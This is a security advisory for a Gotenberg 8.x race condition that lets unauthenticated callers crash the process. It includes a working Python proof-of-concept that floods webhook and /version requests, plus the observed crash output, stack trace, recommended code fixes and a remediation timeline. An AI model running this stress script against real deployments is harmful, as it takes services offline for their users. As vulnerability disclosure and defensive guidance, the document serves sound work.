EUVD-2026-30312
GHSA-r33j-c622-r6qp
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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3DescriptionNVD
Summary
The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.
Details
pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:
w.asyncCount.Add(1)
go func() {
defer cancel()
defer w.asyncCount.Add(-1)
err := next(c) // line 343
...
sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()
return api.ErrAsyncProcess // line 382pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:
if errors.Is(err, ErrAsyncProcess) {
return c.NoContent(http.StatusNoContent)
}Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:
return func(c echo.Context) error {
logger := c.Get("logger").(*slog.Logger) // line 398
...
go func() {
defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here
errChan <- next(c)
}()If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.
No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.
Proof of Concept
Reproduction on the stock Docker image with default configuration:
docker run -d --name gotenberg-poc -p 3000:3000 \
-e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=errorSingle-process stress script (Alice sends both streams, no second actor):
import requests, subprocess, time, json, threading
TARGET = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"
# passes default webhook-deny-list
STOP = threading.Event()
html = b"<html><body><h1>Q</h1></body></html>"
def webhook_fire():
s = requests.Session()
while not STOP.is_set():
try:
s.post(
f"{TARGET}/forms/chromium/convert/html",
files={"files": ("index.html", html, "text/html")},
headers={
"Gotenberg-Webhook-Url": WEBHOOK,
"Gotenberg-Webhook-Error-Url": WEBHOOK,
},
timeout=15,
)
except: pass
def noise_fire():
s = requests.Session()
while not STOP.is_set():
try: s.get(f"{TARGET}/version", timeout=2)
except: pass
for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire, daemon=True).start()
t0 = time.time()
while time.time() - t0 < 60:
time.sleep(1)
status = json.loads(subprocess.run(
["docker", "inspect", "gotenberg-poc"],
capture_output=True, text=True, check=True).stdout)[0]["State"]
if status["Status"] != "running":
print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}")
STOP.set()
breakObserved output:
process crashed after 2.2s, exit code 2Container stderr captured with docker logs gotenberg-poc:
panic: interface conversion: interface {} is nil, not *slog.Logger
goroutine 287020 [running]:
/home/pkg/modules/api/middlewares.go:398 +0x2e6
/home/pkg/modules/webhook/middleware.go:343 +0xec
created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2
/home/pkg/modules/webhook/middleware.go:338 +0x1176Impact
Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (--restart=always, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.
Recommended Fix
Replace the unchecked type assertion at pkg/modules/api/middlewares.go:398 with a guarded lookup that handles the pool-reuse case:
logger, _ := c.Get("logger").(*slog.Logger)
if logger == nil {
return errors.New("context reused from pool before middleware chain populated it")
}Also add a defer recover() at the top of the webhook goroutine body at pkg/modules/webhook/middleware.go:338 so any future panic downstream does not kill the process:
go func() {
defer func() {
if r := recover(); r != nil {
ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r))
handleError(fmt.Errorf("internal error: %v", r))
}
}()
defer cancel()
defer w.asyncCount.Add(-1)
...
}()A deeper fix detaches echo.Context from api.Context before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear ctx.echoCtx so downstream code cannot reach the pooled context.
--- *Found by aisafe.io*
AnalysisAI
Unauthenticated remote attackers crash Gotenberg 8.x (≤ 8.31.0) by triggering a race condition between webhook goroutine context reuse and Echo framework connection pooling. When webhook middleware spawns an async goroutine holding an echo.Context reference, the synchronous handler returns immediately, recycling the context to Echo's sync.Pool. …
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RemediationAI
Within 24 hours: Verify all Gotenberg instances and identify version numbers; confirm 8.31.0 or earlier deployment scope. Within 7 days: Upgrade to Gotenberg 8.32.0 or later (patch available per vendor advisory) and validate in non-production environments first. …
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